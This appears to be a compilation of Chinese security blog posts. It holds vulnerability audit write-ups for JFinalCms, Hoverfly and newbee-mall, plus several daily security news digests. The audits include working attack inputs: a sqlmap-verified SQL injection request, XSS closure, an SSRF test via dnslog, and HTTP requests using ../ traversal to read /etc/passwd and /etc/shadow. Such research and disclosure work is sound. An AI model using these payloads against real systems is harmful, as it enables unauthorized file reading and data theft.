JFinalCms是开源免费的JAVA企业网站开发建设管理系统，极速开发，动态添加字段，自定义标签，动态创建数据库表并crud数据，数据库备份、还原，动态添加站点(多站点功能)，一键生成模板代码。 环境布置：IDEA打开项目，等待maven加载好。 使用phpstudy集成的mysql5.7数据库即可，导入JFinalCMS.sql数据库。 修改pom文件： 使用local9.0.90TOMCAT，JDK环境1.8。 运行TOMCAT，打开后台: http://localhost:8081/cms_war_exploded/反射xss： 搜索/admin/login定位到代码块： 由上可见，通过getPara获取账号密码后再通过render渲染到前端页面： 再分析前端代码构造xss进行闭合： 存储xss： 前台存在留言功能，留言会被管理员审核： 登录后台，点击扩展管理，留言信息： 原理同上。 Sql注入漏洞（1）： 该CMS存在很多处sql注入漏洞，大多数都是以+直接拼接sql注入语句造成，可以全局搜索+号寻找注入点。 找到以上代码块，可以直接看到title参数通过+直接拼接进入sql语句执行，于是我们继续找前端是调用的什么接口，并看看是否在接受参数时进行了过滤。 搜索findPage参数： 可以看到Contentcontroller层中存在title参数，点进去，定位到具体代码块： 可以看到调用了getPara方法获取传入的title参数，继续跟进getPara方法： 并未重写该方法，只是简单获取参数，未进行任何过滤，回到原来的controller层，向上翻，找到接口调用，数据包如下： POST /cms_war/admin/content/data HTTP/1.1 Host: localhost:8081 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:130.0) Gecko/20100101 Firefox/130.0 Accept: text/html, \*/\*; q=0.01 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate, br Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 47 Origin: http://localhost:8081 Connection: keep-alive Referer: http://localhost:8081/cms_war/admin/content Cookie: JSESSIONID=EF8BB53892173B8A4577EFC32D0215BA; listQuery=categoryId%3D&title%3D&sorts%3D&pageNumber%3D1 Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin Priority: u=0 categoryId=&title=%E7%BD%91&sorts=&pageNumber=1 将localhost替换为物理机IP放入sqlmap： 证明存在sql注入漏洞，其对应前端功能如下： Sql注入漏洞（2）： 前台搜索框处也存在sql注入漏洞，只不过此处的调用过程较难找到。 如上图搜索关键字search定位到代码块： 仔细分析如上代码，我无法追踪keyword的具体调用。 以上代码是通过setAttr方法直接存储到当前请求的属性当中。我对keyword处打断点调试也未理清楚它后续是如何调用的。 于是再换一种思路，直接全局搜索keyword： 定位到具体代码，但无法确定是否是调用的此处findPage代码来构造sql。 搜索findPage也没有明确思路。 于是改变思路，由于keyword关键字最终是通过模板template渲染调用。 于是在template处挨个点进去找类似功能代码： 最终定位到代码块： 根据注释明确此处代码是根据不同关键词进行搜索，包含关键词keyword，继续查看keyword调用链： 确定是通过调用findPage，传入keyword参数来调用数据： 用sqlmap验证keyword参数： 任意文件读取： 翻找controller层代码，找到文件下载代码块： 可见未对传入的fileKey参数进行过滤，直接拼接进行文件读取。 （且我在翻找filter过滤器后，发现似乎 并未对该路径进行权限校验，可进行未授权调用接口）

1、美英警告俄APT29大规模攻击Zimbra和TeamCity服务器 https://www.ic3.gov/Media/News/2024/241010.pdf 美国和英国的网络安全机构今日发出联合警告，称与俄罗斯对外情报局（SVR）相关的APT29黑客正在大规模利用未打补丁的Zimbra和JetBrains TeamCity服务器进行攻击。APT29（又称Cozy Bear）通过漏洞CVE-2022-27924和CVE-2023-42793攻击这些服务器，窃取电子邮件账户凭证并进行供应链攻击j。APT29长期以来针对美国和欧洲的政府和私营部门。此前，该组织被指参与SolarWinds供应链攻击以及黑客入侵北约国家和微软365账户。 2、全球超14000医疗设备暴露安全漏洞威胁巨大 https://censys.com/state-of-internet-of-healthcare-things/ 研究人员报告显示，全球有超过14000个医疗设备、登录门户和健康数据暴露在互联网上，面临严重的安全漏洞。其中近一半（49%）来自美国。研究指出，美国医疗系统的去中心化是设备在线数量庞大的原因之一，而英国的集中化系统仅有200台设备在线。特别是老旧的DICOM协议，用于传输和查看医疗影y像，被广泛应用但缺乏安全设计。此外，电子病历系统（EMR/EHR）登录页面也高度暴露，成为网络攻击的主要目标，存储的大量敏感信息可能被用于黑市交易。 3、Linear eMerge E3门禁系统存在高危未修复漏洞 https://vulncheck.com/blog/flax-typhoon-linear-merge 网络安全专家警告称，Nice Linear eMerge E3门禁控制系统存在一个关键未修复漏洞（CVE-2024-9441），允许远程攻j击者执行任意操作系统命令。该漏洞CVSS评分为9.8，影响多个版本的eMerge E3系统，目前厂商尚未发布补丁或解决方案。此前，类似漏洞CVE-2019-7256曾被黑客利用，组建Raptor Train僵尸网络。研究人员建议使用该设备的组织立即将其下线或隔离网络，避免潜在威胁。同时，厂商建议用户采取网络分段、限制外网访问等安全措施以减轻风险。 4、富达投资数据泄露影响超7.7万人 https://www.bleepingcomputer.com/news/security/fidelity-investments-says-data-breach-affects-over-77-000-people/ 富达投资公司近日披露，8月间公司系统遭遇数据x泄露，超77000名客户的个人信息被曝光。作为全球最大资产管理公司之一，富达投资管理着5.5万亿美元的资产。攻击者通过两名新建账户在8月17日至19日间窃取数据，公司于19日发现并立即终止了不正常访问。尽管账户未受影响，暴露的信息包括客户姓名及其他个人身份信息。富达为受影响客户提供两年免费的信用监控和身份修复服务，并建议客户 5、因泄露数亿人数据，美国国家公共数据公司申请破产 https://www.freebuf.com/news/412671.html 由于早前的黑客攻击并泄露了数y亿人的数据，美国最大的背景调查公司之一——美国国家公共数据公司（National Public Data，NPD）近日出于多方诉讼压力申请破产。 6、全球最大的音乐公司环球音乐集团承认发生数据泄露 https://www.ithome.com/0/800/939.htm 全球最大的音乐公司环球音乐集团（UMG）披露了一起 2024 年 7 月中旬发生的数据泄露事件，证实部分敏感客户信息被盗。 7、ShadowLogic 攻击针对AI模型图来创建无代码后门 https://www.securityweek.com/shadowlogic-attack-targets-ai-model-graphs-to-create-codeless-backdoors/ 人工智能安全公司 HiddenLayer 报告称，通过操纵人工智能模型的图表，可以在机器学习模型中植入无代码、持久的后门。该技术被称为ShadowLogic，依赖于操纵模型架构的计算图形表示来触发下游应用程序中攻j击者定义的行为，从而为 AI 供应链攻击打开大门。 8、严重缺陷导致施耐德电气工业 PC 遭受攻击 https://securityonline.info/cve-2024-8884-cvss-9-8-critical-flaw-exposes-schneider-electric-industrial-pcs-to-attack/ 该漏洞的编号为 CVE-2024-8884，它允许未经授权的参与者通过不安全的 HTTP 连接访问敏感信息，带来 DoS 攻击、数据泄露和操作s失败的风险。 9、Fog & Akira 勒索软件利用关键Veeam RCE漏洞 https://securityonline.info/fog-akira-ransomware-exploit-critical-veeam-rce-flaw-cve-2024-40711-after-poc-release/ 在过去的一个月中，攻击者利用此漏洞以及被盗用的凭证创建未经授权的帐户并尝试部署勒索软件变种，包括 Fog 和 Akira。强烈建议依赖 Veeam Backup & Replication 的企业立即修补其系统并加强远程访问防御。 10、Btcd漏洞可能导致比特币网络分叉 https://www.anquanke.com/post/id/300807 比特币协议的流行替代实施方案 btcd 中的一个关键漏洞可能会让恶意行为者以最小的代价创建比特币区块链的硬y分叉。该漏洞被追踪为 CVE-2024-38365，CVSS 得分为 7.4，源于 btcd 验证传统比特币交易签名的方式中的一个错误。该缺陷于 2014 年引入，偏离了原始比特币代码库中定义的共识规则，可能导致创建的有效交易被易受攻击的 btcd 节点拒绝。 声明 以上内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景科技观点，因此第三方对以上内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景科技一律不予承担。

漏洞简介 Hoverfly 是一个为开发人员和测试人员提供的轻量级服务虚拟化/API模拟/API模拟工具。其 /api/v2/simulation 的 POST 处理程序允许用户从用户指定的文件内容中创建新的模拟视图。然而，这一功能可能被攻击者利用来读取 Hoverfly 服务器上的任意文件。尽管代码禁止指定绝对路径，但攻击者可以通过使用 ../ 段来逃离 hf.Cfg.ResponsesBodyFilesPath 基本路径，从而访问任何任意文件。 环境搭建 我们还是利用 docker 来搭建环境 https://hub.docker.com/r/spectolabs/hoverfly/tagsdocker pull spectolabs/hoverfly:v1.10.2 docker run -d -p 8888:8888 -p 8500:8500 spectolabs/hoverfly:v1.10.2   ‍ 漏洞复现 构造数据包 POST /api/v2/simulation HTTP/1.1 Host: 127.0.0.1:8888 Accept: application/json, text/plain, */* User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://127.0.0.1:8888/dashboard Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Content-Length: 126 Content-Type: application/x-www-form-urlencoded {"data":{"pairs":[{ "request":{},"response": { "bodyFile": "../../../../../etc/passwd"}} ]},"meta":{"schemaVersion":"v5.2"}} PUT /api/v2/simulation HTTP/1.1 Host: 127.0.0.1:8888 Accept: application/json, text/plain, */* User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://127.0.0.1:8888/dashboard Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Content-Length: 126 Content-Type: application/x-www-form-urlencoded {"data":{"pairs":[{ "request":{},"response": { "bodyFile": "../../../../../etc/shadow"}} ]},"meta":{"schemaVersion":"v5.2"}} 漏洞分析 hoverfly-1.10.2\core\handlers\v2\simulation_handler.go#RegisterRoutes 定义了 SimulationHandler 的路由注册方法，路由的每个 HTTP 方法（如 GET 、PUT 、POST 、DELETE 等）都有一个对应的处理函数 (this.Get 、this.Put 、this.Post 、this.Delete 、this.Options 、this.GetSchema )。这些函数处理实际的业务逻辑。 GET /api/v2/simulation: 处理获取模拟数据。 PUT /api/v2/simulation: 处理更新模拟数据。 POST /api/v2/simulation: 处理创建新的模拟数据。 DELETE /api/v2/simulation: 处理删除模拟数据。 OPTIONS /api/v2/simulation: 提供有关 /api/v2/simulation 端点允许的 HTTP 方法的信息。 GET /api/v2/simulation/schema: 获取模拟数据的 schema（结构）。 OPTIONS /api/v2/simulation/schema: 提供有关 /api/v2/simulation/schema 端点允许的 HTTP 方法的信息。 POST 和 PUT 方法 仅仅是函数的第三个参数有所不同，所以两种请求方式都可以实现任意文件读取 hoverfly-1.10.2\core\handlers\v2\simulation_handler.go#addSimulation 第三个参数的不同导致 PUT 方法在获取新的模型内容时，首先删除前一个模拟内容，可以重复读取不同文件内容。POST 仅仅只能读取一次文件内容，无法更新。 hoverfly-1.10.2\core\hoverfly_service.go#PutSimulation hoverfly-1.10.2\core\hoverfly_service.go#putOrReplaceSimulation hoverfly-1.10.2\core\hoverfly_funcs.go#readResponseBodyFiles hoverfly-1.10.2\core\hoverfly_funcs.go#readResponseBodyFile 这里就是漏洞产生的关键原因，对传入的参数 filePath 没有做具体的校验，可以通过 ../ 实现跨越目录的读取文件 我们看到最新版已经对传入的参数进行了处理 hoverfly-1.10.4\core\hoverfly_funcs.go#readResponseBodyFile hoverfly-1.10.4\core\util\util.go#ResolveAndValidatePath 这个 ResolveAndValidatePath 函数用于从一个绝对路径（absBasePath ）解析一个相对路径（relativePath ），并验证这个相对路径是否合法。具体来说，它确保了相对路径不会尝试向上回溯（使用 ".." ），并且解析后的路径仍然在基路径之下。

1、犯罪分子通过改进QR码网络钓鱼攻击绕过安全检测 https://blog.barracuda.com/2024/10/09/novel-phishing-techniques-ascii-based-qr-codes-blob-uri 研究人员警告称，网络犯罪分子正在通过使用ASCII和Unicode字符生成难以检测的QR码，提升其网络钓鱼攻击的隐蔽性。攻击者利用“全块”字符组合Cascading Style Sheets（CSS），构建出标准的49x49像素矩阵，绕过光学字符识别（OCR）工具的检测。这些伪造的QR码往往引导用户访问恶意网站，钓鱼邮件数量在2023年第四季度急剧上升，约每20个邮箱中有一个成为目标。此外，犯罪分子还采用B 2、研究人员警告PANOS防火墙劫持漏洞及公开利用代码 https://www.bleepingcomputer.com/news/security/palo-alto-networks-warns-of-firewall-hijack-bugs-with-public-exploit/ 研究人员于2024年10月警告用户，需立即修补其Expedition解决方案中的多个安全漏洞，这些漏洞可被攻击者利用，劫持PAN-OS防火墙。Expedition用于帮助迁移其他供应商的配置文件，这些漏洞可暴露敏感信息，如用户凭证，帮助攻击者接管防火墙管理员账户。漏洞包括命令注入、跨站脚本攻击、明文y存储敏感信息、缺失认证和SQL注入等（CVE-2024-946 3、朝鲜黑客利用虚假面试向开发者传播跨平台恶意软件 https://www.unodc.org/roseap/en/2024/10/cyberfraud-industry-expands-southeast-asia/story.html 2024年10月，朝鲜关联的网络攻击组织被发现通过伪装成招聘者，针对技术行业求职者，传播更新版的跨平台恶意软件。研究人员将该活动集群命名为CL-STA-0240，首次于2023年11月披露，代号为“传染性面试”。攻击者y通过求职平台联系软件开发人员，邀请他们参加虚假面试，诱导下载恶意软件。恶意软件的第一阶段涉及BeaverTail下载器和信息窃取程序，能感染Windows和macOS系统，并为Invisib 4、GitLab 修补管道执行、SSRF、XSS 漏洞 https://www.securityweek.com/gitlab-patches-pipeline-execution-ssrf-xss-vulnerabilities/ 最新的 GitLab 更新解决了八个漏洞，包括严重和高严重程度的管道执行漏洞。 5、近期 Veeam 漏洞被利用于勒索软件攻击 https://www.securityweek.com/recent-veeam-vulnerability-exploited-in-ransomware-attacks/ Sophos 警告勒索软件运营商正在利用 Veeam Backup & Replication 中的关键代码执行漏洞。 6、研究人员在Windows版的SVN中发现代码执行漏洞 https://www.freebuf.com/news/412549.html Apache Subversion（SVN）是一款广受开发者欢迎的版本控制系统，用于维护源代码、网页和文档。最近，Apache Subversion中发现了一个关键的安全漏洞，CVE-2024-45720（CVSS评分8.2）。该y漏洞主要影响Windows平台，可能导致命令行参数注入，从而执行非预j期的程序。 7、黑客利用YouTube 平台传播复杂的恶意软件 https://www.freebuf.com/news/412529.html 最近，卡巴斯基实验室的网络安全分析师发现，黑客一直在频繁利用 YouTube平台c来传播复杂的恶意软件。通过劫持热门频道，黑客伪装成原始创作者发布恶意链接、对用户实施诈骗。 8、因SSL证书过期，英格兰银行关键支付系统崩溃 https://www.secrss.com/articles/71008 近日，《The Stack》报道称，2024年7月，英格兰银行支付系统——CHAPS系统因“银行基础设施中的SSL/TLS证书过期”而发生故障。 9、《网络安全技术 办公设备安全规范》等9项网安国标获批发布 https://www.secrss.com/articles/71006 根据2024年9月29日国家市场监督管理总局、国家标准化管理委员会发布的中华人民共和国国家标准公告（2024年第22号），全国网络安全标准化技术委员会归口的9项国家标准正式发布。 10、因配置不当，约5000个AI模型与训练数据集在公网暴露 https://www.secrss.com/articles/71009 暴露的工具包括MLflow、Kubeflow和TensorBoard实例。这些工具通常用于帮助y企业在云端训练和部署生成式AI模型，或可视化其结果。 声明 以上内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景科技观点，因此第三方对以上内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景科技一律不予承担。

1、联合国警告东南亚网络犯罪集团崛起威胁全球安全 https://www.unodc.org/roseap/en/2024/10/cyberfraud-industry-expands-southeast-asia/story.html 联合国毒品和犯罪问题办公室发布报告，警告亚洲网络犯罪集团正在成为全球性威胁。这些犯罪组织通过与人口贩卖、洗钱和加密货币服务合作，建立了一个高度复杂的网络犯罪生态系统，难以被区域政府监管。报告指出，这些犯罪团伙利用新技术，扩大了欺诈、洗钱和地下银行业务，预计2023年，亚洲网络犯罪导致的损失高达180亿至370亿美元。这些团伙的活动范围遍布东南亚的偏远地区，利用高度防御的设施和加密技术掩盖非法活动。同时，生成 2、AI虚拟伴侣平台遭黑客攻击致数据泄露 https://www.404media.co/hacked-ai-girlfriend-data-shows-prompts-describing-child-sexual-abuse-2/ 据研究人员报道，Muah.ai平台遭黑客攻击，导致用户与虚拟伴侣聊天机器人的互动数据泄露。该平台允许用户进行成人对话、交换照片和语音聊天，承诺提供加密通信和绝对隐私。然而，被盗数据揭示了用户的隐私幻想，其中一些与用户的个人电子邮件地址相关联，暴露了他们的真实身份。更令人不安的是，泄露内容包括涉及未成年人的不当对话。黑客表示，该平台安全漏洞易于发现，平台管理员则指责此攻击来自竞争对手。该事件凸显了新兴A 3、Mozilla修复Firefox零日漏洞防止攻击j者利用 https://www.mozilla.org/en-US/security/advisories/mfsa2024-51/ Mozilla紧急发布安全更新，修复了Firefox浏览器中的一个关键漏洞CVE-2024-9680，该漏洞已被恶意利用。此漏洞由ESET研究员Damien Schaeffer发现，涉及动画时间线中的“use-after-free”内存管理问题，允许攻击者执行恶意代码。受影响版本包括最新的Firefox标准版和扩展支持版本（ESR）。Mozilla已发布修复补丁，用户应立即更新至Firefox 131.0.2或相应ESR版本。由于该漏洞已在野外被利用，用户被强烈建议尽 4、微软Word Bug有时会在用户单击“保存”时删除文件 https://cybernews.com/news/microsoft-word-bug-sometimes-deletes-file-when-saving/ 在某些情况下，当用户尝试保存文件时，当前版本的 Microsoft Word 会删除文件。该错误会影响包含大写文件扩展名的文档，例如 '.DOCX“而不是”.docx.“或符号 #。 5、欧洲多个政府隔离机密系统遭APT组织攻破 https://www.secrss.com/articles/70996 APT组织GoldenJackal利用U盘等介质实施摆渡攻击，至少两次成功穿透了政府机密系统实施窃密活动，受害者包括某南亚国家驻白俄罗斯大使馆、某欧洲政府机构。 6、韩国"AI换脸"色情制品入刑，制作、保存、传播全方位定罪 https://www.secrss.com/articles/70978 近日，韩国国会通过了一项性犯罪的修正法案——任何制作、持有、保存深度伪造色情视频的行为，都可被定为刑事犯罪，并面临最高七年监禁或者5000万韩元的罚款（约26万元人民币），目前在等待总统最终签署。 7、 Internet Archive遭遇攻击，导致3100 万用户数据泄露 https://www.freebuf.com/news/412412.html 近日， 有黑客入侵了Internet Archive 网站并窃取了一个包含3100万条记录的用户认证数据库。 8、MMS协议被曝存在多个安全漏洞，可导致工控设备崩溃 https://www.freebuf.com/articles/412425.html Claroty研究人员发现制造信息规范（MMS）协议中存在多个安全漏洞，一旦j被黑客利用，将很有可能会对工业环境中造成严重影响。Claroty研究人员Mashav Sapir和Vera Mens表示，这些漏洞可能允许攻击者使工业设备崩溃，在某些情况下，还能实现远程代码执行。 9、GitLab 用户被敦促立即j更新以修复严重缺陷 https://securityonline.info/cve-2024-9164-cvss-9-6-gitlab-users-urged-to-update-now/ GitLab 发布了社区版和企业版 17.4.2、17.3.5 和 17.2.9 版本的关键安全更新，修复了漏洞，包括一个严重漏洞 (CVE-2024-9164)，y该漏洞允许攻击者在任意分支上运行管道。 10、万豪与 FTC 达成和解，为数据泄露支付 5200 万美元 https://www.bleepingcomputer.com/news/legal/marriott-settles-with-ftc-to-pay-52-million-over-data-breaches/ 万豪国际集团及其子公司喜达屋酒店将支付 5200 万美元并建立一个全面的信息安全计划，作为影响超过 3.44 亿客户的数据泄露事件和解协议的一部分。 声明 以上内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景科技观点，因此第三方对以上内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景科技一律不予承担。

最近在审计java的CMS，跟着文章进行nday审计，找准目标newbee-mall Version1.0.0（新蜂商城系统），并跟着网上文章进行审计： https://blog.csdn.net/m0_46317063/article/details/131538307下载唯一的版本，且源码README中版本也对的上，但没想到nday全部复现失败，但在一番审计后找到了一个新的漏洞点：ssrf，且在前台可以被用户触发。 失败的man与nday： 失败的sql注入漏洞： （此漏洞原本可以在前台与后台进行sql注入攻击） 分析文章中有两sql注入漏洞，是由于引入mybatis依赖导致，但在我下的版本中根据关键字符${找不到任何的注入点，经过与分析文章对比发现所有注入点全部由${改成了#{由此完成修复。 失败的权限绕过： （此漏洞原本可以在admin登录后台通过/;/admin/test完成权限绕过） 复现文章写到以request.getRequestURI()获取路径获取路径后再进入if判断： 但我下载的版本进行了修复：将获取前端传输的路径方法改为了：getServletPath()从而完成修复。 两种方法的不同具体分析可以参考如下文章： https://forum.butian.net/share/3730失败的越权漏洞： （此漏洞原本可以根据传入的id参数越权修改他人信息。） 定位到具体代码： 此处代码与复现文章一样，都是先创建一个NewBeeMallUserVO对象，再通过是否为空判断信息修改是否成功。 真正修改信息的代码在updateUserInfo方法里面，于是跟进该方法实现处： 发现跟到了接口，于是我们继续跟进，找该接口的实现类： 跟进到如下类，找到具体实现的代码块： 复现文章代码在进入if判断前只有一行代码，并且代码逻辑是从前端传入的id值进行信息修改，但可以看到我下载的代码有两行： NewBeeMallUserVO userTemp = (NewBeeMallUserVO)httpSession.getAttribute(Constants.MALL_USER_SESSION_KEY); 首先通过http.Session获取当前用户，再赋给创建的userTemp对象。 MallUser userFromDB =mallUserMapper.selectByPrimaryKey(userTemp.getUserId()); 再从userTemp对象中获取id值进行信息修改，而非从前端请求中获取参数id的值，来完成漏洞修复。 0day的发现： 登录后台，点击修改或者添加商品： 随意传入图片后点击保存并抓包。 将POST数据包如上两个参数修改为dnslog地址，放包，在商城前台搜索该商品名称。 点击访问，dns平台出现记录。 漏洞代码分析： 先看看商品信息存储过程： 根据接口定位代码块： 可以发现在接受参数后进行是否为空判断后进入了核心方法updateNewBeeMallGoods，跟进： 跟到接口后再找到接口实现类，最后定位到更新信息代码块。 可以看到，仅仅对传入参数值进行为空判断和相同判断后，便调用set方法进行存储。 接下来再看看商品信息调用代码链。 根据触发漏洞的数据包接口定位代码块： 此处代码根据传入goodsid参数，将商品渲染到前端，也就是搜索商品后，见到商品那刻触发漏洞。 对接受goodsid参数是否<1判断后进入取商品信息代码。 跟进getNewBeeMallGoodsById方法，找到方法接口后再找接口实现类，再找方法： 发现goodsid参数传入selectByPrimaryKey方法。 该方法通过数据访问对象（DAO）goodMapper调用，且在方法最前处由NewBeeMallGoodsMapper对其定义： 全局搜索，找到对应xml文件： 发现通过id参数对数据库操作，取出goodsCoverImg与goodsCarousel参数。 回到最先前的类： 此时goods对象已经获取商品相关参数值。 再进入if判断商品是否上架，上架则进入下一轮代码，将商品信息封装为视图模型，找到NewBeeMallGoodsDetailVO类，发现只接受了goodsCoverImg参数，也就是先前抓包修改处只用修改该参数即可： 最后返回视图名称"mall/detail"，表示渲染商品详情页面： 由于存储时未做任何过滤，进行视图层渲染时直接拿出goodsCoverImg参数放到前端，导致用户一旦访问商品便触发该漏洞。

1、iOS 18镜像功能漏洞或泄露员工个人信息 https://www.sevcosecurity.com/iphone-mirroring-expose-employee-personal-information/ 10月9日消息，研究人员发现，苹果iOS 18和macOS Sequoia系统中的镜像功能存在隐私泄露风险，可能导致员工的个人应用信息暴露给公司IT部门。尽管应用数据并未被共享，但某些应用的存在，如健康或约会服务，可能泄露敏感个人信息。这一漏洞可能违反《加州消费者隐私法》(CCPA)，带来诉讼和联邦监管风险。Sevco已通知苹果，苹果确认该漏洞并正在修复。Sectigo公司高级研究员Jason Soroko指出，该漏洞源于镜 2、Ivanti CSA发现三处零日漏洞y被积极利用 https://forums.ivanti.com/s/article/Security-Advisory-Ivanti-CSA-Cloud-Services-Appliance-CVE-2024-9379-CVE-2024-9380-CVE-2024-9381?language=en_US Ivanti警告称其云服务设备（CSA）存在三处新安全漏洞，已在网络中被积极利用。这些零日漏洞与上个月修复的另一个漏洞一起被利用，成功利用后，具有管理员权限的攻击者可能绕过限制、执行任意SQL语句或获取远程代码执行权限。Ivanti表示，目前只有少量使用CSA 4.6补丁518及以前版本的客户遭受了这三 3、 网络安全公司Dr.Web遭黑客攻击数据泄露超10TB https://hackread.com/dumpforums-russian-cybersecurity-firm-dr-web-data-breach/ DumpForums，一个亲乌克兰的黑客论坛，近日声称成功攻击了俄罗斯网络安全巨头Dr.Web，窃取了超过10TB的敏感数据。该攻击始于2024年9月14日，Dr.Web在遭受网络攻击后于9月17日发布声明，称其“资源”未被访问或窃取。然而，DumpForums在10月8日的Telegram上否认了这一说法，表示他们已经深入Dr.Web的本地网络，并系统性地攻破了多台服务器和资源，获取了包括客户数据库和内部项目的敏感信息。黑客甚至声称控 4、Awaken Likho恶意组织对俄罗斯政府发起“猛攻j” https://www.freebuf.com/news/412331.html 近日，俄罗斯政府机构和工业实体遭遇了一场名为“ Awaken Likho ”的网络活动攻击活动。 卡巴斯基表示，攻击者现在更倾向于使用合法MeshCentral平台的代理，而不是他们之前用来获得系统远程访问权限的UltraVNC模块。这家俄罗斯网络安全公司详细说明了一场始于2024年6月并至少持续到8月的新活动。该活动主要针对俄罗斯政府机构、其承包商和工业企业。 5、英国政府就AI网络安全“行为守则”公开征求意见 https://www.secrss.com/articles/70932 英国的组织面临着复杂的网络安全环境，我们希望确保他们有信心在其基础设施中采用 AI。目前，47%使用 AI的组织没有任何特定的 AI网络安全实践或流程。因此，我们必须确保安全地设计、开发、部署和维护AI。 6、乐高网站被黑客入侵以推送加密货币骗局 https://www.bleepingcomputer.com/news/security/legos-website-hacked-to-push-cryptocurrency-scam/ 根据乐高 Reddit 版主“mescad”的说法，违规行为发生在美国东部标准时间晚上 9 点，持续了大约 75 分钟，直到美国东部时间晚上 10 点 15 分，该网站才得以恢复。 7、安装超过600万次k的WordPress插件存在XSS漏洞 https://www.darkreading.com/endpoint-security/single-http-request-exploit-6m-wordpress 安装超过 600 万次的 WordPress 插件容易受到跨站点脚本缺陷 （XSS） 的攻击，该漏洞允许攻击者提升权限并可能安装恶意代码，从而在受影响的网站上启用重定向、广告和其他 HTML 负载。 8、LemonDuck利用EternalBlue漏洞进行恶意挖矿攻击 https://www.anquanke.com/post/id/300586 来自奥法和NetbyteSEC安全研究人员的最新报告揭示了LemonDuck恶意软件的死灰复燃，该恶意软件现在正在利用微软服务器消息块（SMB）协议中的EternalBlue漏洞（CVE-2017-0144）来促进加密攻击。 9、高通产品被发现存在20个j漏洞，包括一个潜在的零日漏洞 https://www.anquanke.com/post/id/300650 高通公司解决了其产品中的 20 个漏洞，包括一个潜在的零日问题，该问题被追踪为 CVE-2024-43047（CVSS 得分 7.8）。该漏洞源于一个可导致内存损坏的 “释放后使用”（use-after-free）错误。该零日漏洞存在于数字信号处理器（DSP）服务中，影响数十种芯片组。 10、西门子SINEC安全监视器中存在多个关键漏洞 https://www.anquanke.com/post/id/300632 西门子发布了其SINEC安全监视器的一个新的安全更新，这是一个模块化的网络安全软件，用于被动的，非侵入性的，持续的监测客户场所的生产环境。已在V4.9.0之前的版本中发现了几个关键漏洞，这些漏洞被追踪为CVE-2024-47553、CVE-2024-47662、CVE-20483和CVE-2024-4565。 声明 以上内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景科技观点，因此第三方对以上内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景科技一律不予承担。

1、美国水务公司遭遇网络攻击被迫关闭在线服务 https://www.sec.gov/Archives/edgar/data/1410636/000119312524233300/d869346d8k.htm 美国最大的上市水和废水公用事业公司American Water在10月初遭遇网络攻击，迫使其关闭部分系统。公司已聘请第三方网络安全专家处理此次事件，并向执法部门报告，正在配合调查。此次攻击导致公司关闭了在线客户门户MyWater并暂停了计费服务。尽管如此，公司发言人表示，客户不会因系统故障产生滞纳费用。同时，公司强调其水和废水设施未受到此次事件的负面影响。此次事件发生在美国水务部门连续遭遇多次网络攻击的背景下，此前堪萨斯州阿肯色市 2、高通修复影响多款芯片的高危零日漏洞 https://docs.qualcomm.com/product/publicresources/securitybulletin/october-2024-bulletin.html 高通发布了安全补丁，修复了一个影响多款芯片的高危零日漏洞（CVE-2024-43047）。该漏洞由Google Project Zero的Seth Jenkins和国际特赦组织安全实验室的Wang Conghui报告，属于“使用后释放”漏洞，可能导致内存损坏，攻击者仅需低权限即可本地利用。该漏洞已在野外被利用，目标多为高风险人群如记者和政治反对者。高通敦促设备厂商尽快部署更新以修复受影响设备。此外，高通还修 3、大规模谷歌广告攻击瞄准实用软件用户 https://www.malwarebytes.com/blog/news/2024/10/large-scale-google-ads-campaign-targets-utility-software 近期，网络犯罪分子通过谷歌广告发起大规模的恶意广告（malvertising）活动，目标是知名实用软件如Slack、Notion等。攻击者伪装成合法企业，通过广告平台发布恶意广告，诱导用户下载伪装成软件的恶意程序。对于Windows用户，恶意软件托管在GitHub上，而Mac用户则遭到来自AMOS（Atomic Stealer）家族的窃密软件攻击，窃取系统内的密码和敏感信息。尽管谷歌已封 4、Apache Avro SDK漏洞允许远程代码执行 https://thehackernews.com/2024/10/critical-apache-avro-sdk-flaw-allows.html Apache Avro Java SDK中发现了一个关键安全漏洞（CVE-2024-47561），可能允许攻击者在易受攻击的应用程序中执行任意代码。该漏洞影响1.11.3及之前的所有版本，问题出在解析用户提供的Avro模式时。开发者已发布1.11.4和1.12.0版本修复此问题。Avro是一个开源的跨语言数据序列化框架，广泛用于大规模数据处理，因此该漏洞对多个组织构成重大安全威胁。虽然目前尚无公开的攻击样例（PoC），但该漏洞可以通过Kafk 5、攻击者假冒NPM包利用AnyDesk瞄准Windows用户 https://www.sonatype.com/blog/counterfeit-lodash-attack-leverages-anydesk-to-target-windows-users 近日，研究人员发现多个伪装为流行JavaScript库Lodash的恶意npm包，目标为使用Windows操作系统的开发者。最具代表性的是“lodasher”包，该包利用打字错误欺诈（typosquatting）技术，假冒Lodash库，通过版本号迷惑用户，并内含被篡改的AnyDesk远程桌面工具。这些恶意包还包括“laodasher”和“them4on”，由同一作者发布，已被下载850次。通过伪装 